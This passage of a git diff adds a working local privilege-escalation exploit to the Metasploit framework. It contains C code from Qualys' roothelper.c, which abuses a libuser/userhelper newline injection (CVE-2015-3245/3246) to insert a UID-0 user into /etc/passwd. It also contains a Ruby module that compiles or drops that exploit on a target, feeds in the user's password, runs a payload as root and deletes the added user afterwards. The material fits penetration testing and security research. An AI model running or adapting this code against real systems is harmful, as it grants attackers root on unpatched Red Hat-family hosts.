NULL) die(); + *newline = '\0'; + + { struct userhelper *const uh = &userhelpers[0]; + uh->fsizelim = RLIM_INFINITY; + forkstop_userhelper(uh); + continue_userhelper(uh); } + + retry: + if (generate_userhelpers(IS_USER_LAST)) { + struct userhelper *const uh1 = &userhelpers[1]; + strcpy(uh1->gecos.full_name, "\n"); + uh1->fsizelim = passwd_fsize + 1; + + struct userhelper *const uh0 = &userhelpers[0]; + uh0->fsizelim = passwd_fsize; + + forkstop_userhelper(uh1), forkstop_userhelper(uh0); + continue_userhelper(uh1), continue_userhelper(uh0); + if (generate_userhelpers(IS_USER_LAST)) die(); + } + + static const char a[] = "?::0:0::/:"; + printf("Attempting to add \"%s\" to \"%s\"\n", a, PASSWD); + + const int n = generate_userhelpers(a); + if (n == -1) { + static int retries; + if (retries++) die(); + memset(userhelpers, 0, sizeof(userhelpers)); + delete_lines_from_passwd_file(); + goto retry; + } + if (n <= 0) die(); + if (n >= GECOS_LENGTH) die(); + if (superuser_elect == '\0') die(); + + int i; + for (i = n; --i >= 0; ) { + printf("Starting and stopping userhelper #%d\n", i); + forkstop_userhelper(&userhelpers[i]); + } + for (i = n; --i >= 0; ) { + printf("Continuing stopped userhelper #%d\n", i); + continue_userhelper(&userhelpers[i]); + } + printf("Exploit successful, run \"su %c\" to become root\n", + (int)superuser_elect); + + { struct userhelper *const uh = &userhelpers[0]; + uh->fsizelim = RLIM_INFINITY; + uh->gecos = my.gecos; + forkstop_userhelper(uh); + continue_userhelper(uh); } + + exit(EXIT_SUCCESS); +} + +static void +generate_fullname(char *const fullname, const ssize_t fullname_len, + const char c) +{ + if (fullname == NULL) die(); + if (fullname_len < 0) die(); + if (fullname_len >= GECOS_LENGTH) die(); + + memset(fullname, 'A', fullname_len); + + if (fullname_len > 0 && strchr(GECOS_BADCHARS, c) == NULL) { + if (!isascii((unsigned char)c)) die(); + if (!isgraph((unsigned char)c)) die(); + fullname[fullname_len-1] = c; + } +} + +static size_t siteinfo_len; +static size_t fullname_off; + +static size_t before_fullname_len; +static char * before_fullname; + +static size_t after_fullname_len; +static char * after_fullname; + +static int +generate_userhelper(const char *const a, const int i, char *const contents) +{ + if (i < 0) { + if (i != -1) die(); + return 0; + } + if (a == NULL) die(); + if ((unsigned int)i >= strlen(a)) die(); + if (contents == NULL) die(); + + const char _c = a[i]; + const bool is_user_wildcard = (_c == '?'); + const char c = (is_user_wildcard ? candidate_users[0] : _c); + if (c == '\0') die(); + + const size_t target = passwd_fsize-1 + i; + const rlim_t fsizelim = (a[i+1] == '\0') ? RLIM_INFINITY : target+1; + if (fsizelim < passwd_fsize) die(); + + const size_t contents_len = strlen(contents); + if (contents_len < passwd_fsize) die(); + if (contents_len <= fullname_off) die(); + + char *const fullname = contents + fullname_off; + if (memcmp(fullname - before_fullname_len, + before_fullname, before_fullname_len) != 0) die(); + + const char *rest = strchr(fullname, '\n'); + if (rest == NULL) die(); + rest++; + + const ssize_t fullname_len = (rest - fullname) - after_fullname_len; + if (fullname_len >= GECOS_LENGTH) die(); + if (fullname_len < 0) die(); + + if (rest[-1] != '\n') die(); + generate_fullname(fullname, fullname_len, c); + memcpy(fullname + fullname_len, after_fullname, after_fullname_len); + if (rest[-1] != '\n') die(); + + if (memcmp(rest - after_fullname_len, + after_fullname, after_fullname_len) != 0) die(); + + size_t offset; + for (offset = fullname_off; offset < contents_len; offset++) { + + const char x = contents[offset]; + if (x == '\0') die(); + if (is_user_wildcard) { + if (strchr(candidate_users, x) == NULL) continue; + superuser_elect = x; + } else { + if (x != c) continue; + } + + const ssize_t new_fullname_len = fullname_len + (target - offset); + if (new_fullname_len < 0) continue; /* gecos_size() > GECOS_LENGTH */ + if (4 + new_fullname_len + siteinfo_len + 1 > GECOS_LENGTH) continue; + + if (offset < fullname_off + fullname_len) { + if (offset != fullname_off + fullname_len-1) die(); + if (new_fullname_len == 0) continue; + } + if (offset >= contents_len-1) { + if (offset != contents_len-1) die(); + if (fsizelim != RLIM_INFINITY) continue; + } + + { char *const new_contents = xmalloc(contents_len+1 + GECOS_LENGTH); + + memcpy(new_contents, contents, fullname_off); + generate_fullname(new_contents + fullname_off, new_fullname_len, c); + memcpy(new_contents + fullname_off + new_fullname_len, + contents + fullname_off + fullname_len, + contents_len+1 - (fullname_off + fullname_len)); + + if (strlen(new_contents) != contents_len + + (new_fullname_len - fullname_len)) die(); + + if (fsizelim != RLIM_INFINITY) { + if (fsizelim >= strlen(new_contents)) die(); + if (fsizelim >= contents_len) die(); + memcpy(new_contents + fsizelim, + contents + fsizelim, + contents_len+1 - fsizelim); + } + + const int err = generate_userhelper(a, i-1, new_contents); + free(new_contents); + if (err < 0) continue; } + + if (i >= GECOS_LENGTH) die(); + struct userhelper *const uh = &userhelpers[i]; + memset(uh, 0, sizeof(*uh)); + + uh->fsizelim = fsizelim; + if (new_fullname_len >= GECOS_LENGTH) die(); + generate_fullname(uh->gecos.full_name, new_fullname_len, c); + return 0; + } + return -1; +} + +static int +generate_userhelpers(const char *const _a) +{ + char a[GECOS_LENGTH]; + if (_a == NULL) die(); + const int n = xsnprintf(a, sizeof(a), "\n%s\n", _a); + if (n >= GECOS_LENGTH) die(); + if (n <= 0) die(); + + const int fd = xopen(PASSWD, O_RDONLY); + struct stat st; + if (fstat(fd, &st) != 0) die(); + if (st.st_size >= 10*1024*1024) die(); + if (st.st_size <= 0) die(); + passwd_fsize = st.st_size; + + char *const contents = xmalloc(passwd_fsize + 1); + if (read(fd, contents, passwd_fsize) != (ssize_t)passwd_fsize) die(); + xclose(fd); + contents[passwd_fsize] = '\0'; + if (strlen(contents) != passwd_fsize) die(); + if (contents[passwd_fsize-1] != '\n') die(); + + char fragment[64]; + xsnprintf(fragment, sizeof(fragment), "\n%s:", my.username); + const char *line = strstr(contents, fragment); + if (line == NULL) die(); + line++; + + const char *rest = strchr(line, '\n'); + if (rest == NULL) die(); + if (rest <= line) die(); + rest++; + + if (strcmp(_a, IS_USER_LAST) == 0) { + const bool is_user_last = (*rest == '\0'); + free(contents); + return is_user_last; + } + + unsigned int i; + const char *field = line; + + for (i = 0; i <= 5; i++) { + const char *const field_end = strchr(field, ':'); + if (field_end == NULL) die(); + if (field_end >= rest) die(); + const size_t field_len = field_end - field; + + switch (i) { + case 0: + if (field_len != strlen(my.username)) die(); + if (memcmp(field, my.username, field_len) != 0) die(); + break; + case 1: + if (*field != 'x') die(); + break; + case 2: + if (strtoimax(field, NULL, 10) != getuid()) die(); + break; + case 3: + if (strtoimax(field, NULL, 10) != getgid()) die(); + break; + case 4: + { + char assembled[GECOS_LENGTH]; + xsnprintf(assembled, sizeof(assembled), + "%.*s", (int)field_len, field); + if (strlen(assembled) != field_len) die(); + + struct gecos_data gecos; + memset(&gecos, 0, sizeof(gecos)); + xsnprintf(gecos.site_info, sizeof(gecos.site_info), + "%s", my.gecos.site_info); + if (strcmp(assembled, gecos_assemble(&gecos)) != 0) die(); + } + + siteinfo_len = strlen(my.gecos.site_info); + fullname_off = field - contents; + + before_fullname_len = field - line; + before_fullname = xstrndup(line, before_fullname_len); + + after_fullname_len = rest - field; + after_fullname = xstrndup(field, after_fullname_len); + break; + + case 5: + if (*field != '/') die(); + break; + default: + die(); + } + field = field_end + 1; + } + + const int err = generate_userhelper(a, n-1, contents); + + free(before_fullname), before_fullname = NULL; + free(after_fullname), after_fullname = NULL; + free(contents); + + return (err < 0) ? -1 : n; +} diff --git a/modules/exploits/linux/local/libuser_roothelper_priv_esc.rb b/modules/exploits/linux/local/libuser_roothelper_priv_esc.rb new file mode 100644 index 0000000000..f7f45009c6 --- /dev/null +++ b/modules/exploits/linux/local/libuser_roothelper_priv_esc.rb @@ -0,0 +1,274 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Local + Rank = GreatRanking + + include Msf::Post::File + include Msf::Post::Linux::Priv + include Msf::Post::Linux::System + include Msf::Exploit::EXE + include Msf::Exploit::FileDropper + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Libuser roothelper Privilege Escalation', + 'Description' => %q{ + This module attempts to gain root privileges on Red Hat based Linux + systems, including RHEL, Fedora and CentOS, by exploiting a newline + injection vulnerability in libuser and userhelper versions prior to + 0.56.13-8 and version 0.60 before 0.60-7. + + This module makes use of the roothelper.c exploit from Qualys to + insert a new user with UID=0 in /etc/passwd. + + Note, the password for the current user is required by userhelper. + + Note, on some systems, such as Fedora 11, the user entry for the + current user in /etc/passwd will become corrupted and exploitation + will fail. + + This module has been tested successfully on libuser packaged versions + 0.56.13-4.el6 on CentOS 6.0 (x86_64); + 0.56.13-5.el6 on CentOS 6.5 (x86_64); + 0.60-5.el7 on CentOS 7.1-1503 (x86_64); + 0.56.16-1.fc13 on Fedora Desktop 13 (i686); + 0.59-1.fc19 on Fedora Desktop 19 (x86_64); + 0.60-6.fc21 on Fedora Desktop 21 (x86_64); and + 0.56.13-5.el6 on Red Hat 6.6 (x86_64). + + RHEL 5 is vulnerable, however the installed version of glibc (2.5) + is missing various functions required by roothelper.c. + + RHEL 7 systems are reportedly affected, but untested. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Qualys', # Discovery and C exploit + 'Brendan Coles' # Metasploit + ], + 'DisclosureDate' => 'Jul 24 2015', + 'Platform' => [ 'linux' ], + 'Arch' => [ ARCH_X86, ARCH_X64 ], + 'SessionTypes' => [ 'shell', 'meterpreter' ], + 'Targets' => [[ 'Auto', {} ]], + 'Privileged' => true, + 'References' => + [ + [ 'AKA', 'roothelper.c' ], + [ 'EDB', '37706' ], + [ 'CVE', '2015-3245' ], + [ 'CVE', '2015-3246' ], + [ 'BID', '76021' ], + [ 'BID', '76022' ], + [ 'URL', 'http://seclists.org/oss-sec/2015/q3/185' ], + [ 'URL', 'https://access.redhat.com/articles/1537873' ] + ], + 'DefaultTarget' => 0)) + register_options [ + OptEnum.new('COMPILE', [ true, 'Compile on target', 'Auto', %w(Auto True False) ]), + OptString.new('PASSWORD', [ false, 'Password for the current user', '' ]), + OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ]) + ] + end + + def base_dir + datastore['WritableDir'].to_s + end + + def password + datastore['PASSWORD'].to_s + end + + def upload(path, data) + print_status "Writing '#{path}' (#{data.size} bytes) ..." + rm_f path + write_file path, data + register_file_for_cleanup path + end + + def upload_and_chmodx(path, data) + upload path, data + cmd_exec "chmod +x '#{path}'" + end + + def live_compile? + compile = false + + if datastore['COMPILE'].eql?('Auto') || datastore['COMPILE'].eql?('True') + if has_gcc? + vprint_good 'gcc is installed' + compile = true + else + unless datastore['COMPILE'].eql? 'Auto' + fail_with Failure::BadConfig, 'gcc is not installed. Compiling will fail.' + end + end + end + + compile + end + + def check + userhelper_path = '/usr/sbin/userhelper' + unless setuid? userhelper_path + vprint_error "#{userhelper_path} is not setuid" + return CheckCode::Safe + end + vprint_good "#{userhelper_path} is setuid" + + unless command_exists? 'script' + vprint_error "script is not installed. Exploitation will fail." + return CheckCode::Safe + end + vprint_good 'script is installed' + + if cmd_exec('lsattr /etc/passwd').include? 'i' + vprint_error 'File /etc/passwd is immutable' + return CheckCode::Safe + end + vprint_good 'File /etc/passwd is not immutable' + + glibc_banner = cmd_exec 'ldd --version' + glibc_version = Gem::Version.new glibc_banner.scan(/^ldd\s+\(.*\)\s+([\d\.]+)/).flatten.first + if glibc_version.to_s.eql? '' + vprint_error 'Could not determine the GNU C library version' + return CheckCode::Detected + end + + # roothelper.c requires functions only available since glibc 2.6+ + if glibc_version < Gem::Version.new('2.6') + vprint_error "GNU C Library version #{glibc_version} is not supported" + return CheckCode::Safe + end + vprint_good "GNU C Library version #{glibc_version} is supported" + + CheckCode::Detected + end + + def exploit + if check == CheckCode::Safe + fail_with Failure::NotVulnerable, 'Target is not vulnerable' + end + + if is_root? + fail_with Failure::BadConfig, 'Session already has root privileges' + end + + unless cmd_exec("test -w '#{base_dir}' && echo true").include? 'true' + fail_with Failure::BadConfig, "#{base_dir} is not writable" + end + + executable_name = ".#{rand_text_alphanumeric rand(5..10)}" + executable_path = "#{base_dir}/#{executable_name}" + + if live_compile? + vprint_status 'Live compiling exploit on system...' + + # Upload Qualys' roothelper.c exploit: + # - https://www.exploit-db.com/exploits/37706/ + path = ::File.join Msf::Config.data_directory, 'exploits', 'roothelper', 'roothelper.c' + fd = ::File.open path, 'rb' + c_code = fd.read fd.stat.size + fd.close + upload "#{executable_path}.c", c_code + output = cmd_exec "gcc -o #{executable_path} #{executable_path}.c" + + unless output.blank? + print_error output + fail_with Failure::Unknown, "#{executable_path}.c failed to compile" + end + + cmd_exec "chmod +x #{executable_path}" + register_file_for_cleanup executable_path + else + vprint_status 'Dropping pre-compiled exploit on system...' + + # Cross-compiled with: + # - i486-linux-musl-gcc -o roothelper -static -pie roothelper.c + path = ::File.join Msf::Config.data_directory, 'exploits', 'roothelper', 'roothelper' + fd = ::File.open path, 'rb' + executable_data = fd.read fd.stat.size + fd.close + upload_and_chmodx executable_path, executable_data + end + + # Run roothelper + timeout = 180 + print_status "Launching roothelper exploit (Timeout: #{timeout})..." + output = cmd_exec "echo #{password.gsub(/'/, "\\\\'")} | #{executable_path}", nil, timeout + output.each_line { |line| vprint_status line.chomp } + + if output =~ %r{Creating a backup copy of "/etc/passwd" named "(.*)"} + register_file_for_cleanup $1 + end + + if output =~ /died in parent: .*.c:517: forkstop_userhelper/ + fail_with Failure::NoAccess, 'Incorrect password' + end + + @username = nil + + if output =~ /Exploit successful, run "su ([a-z])" to become root/ + @username = $1 + end + + if @username.blank? + fail_with Failure::Unknown, 'Something went wrong' + end + + print_good "Success! User '#{@username}' added to /etc/passwd" + + # Upload payload executable + payload_path = "#{base_dir}/.#{rand_text_alphanumeric rand(5..10)}" + upload_and_chmodx payload_path, generate_payload_exe + + # Execute payload executable + vprint_status 'Executing payload...' + cmd_exec "script -c \"su - #{@username} -c #{payload_path}\" | sh & echo " + register_file_for_cleanup 'typescript' + end + + # + # Remove new user from /etc/passwd + # + def on_new_session(session) + new_user_removed = false + + if session.type.to_s.eql? 'meterpreter' + session.core.use 'stdapi' unless session.ext.aliases.include? 'stdapi' + + # Remove new user + session.sys.process.execute '/bin/sh', "-c \"sed -i 's/^#{@username}:.*$//g' /etc/passwd\"" + + # Wait for clean up + Rex.sleep 5 + + # Check for new user in /etc/passwd + passwd_contents = session.fs.file.open('/etc/passwd').read.to_s + unless passwd_contents =~ /^#{@username}:/ + new_user_removed = true + end + elsif session.type.to_s.eql? 'shell' + # Remove new user + session.shell_command_token "sed -i 's/^#{@username}:.*$//g' /etc/passwd" + + # Check for new user in /etc/passwd + passwd_user = session.shell_command_token "grep '#{@username}:' /etc/passwd" + unless passwd_user =~ /^#{@username}:/ + new_user_removed = true + end + end + + unless new_user_removed + print_warning "Could not remove user '#{@username}' from /etc/passwd" + end + rescue => e + print_error "Error during cleanup: #{e.message}" + ensure + super + end +end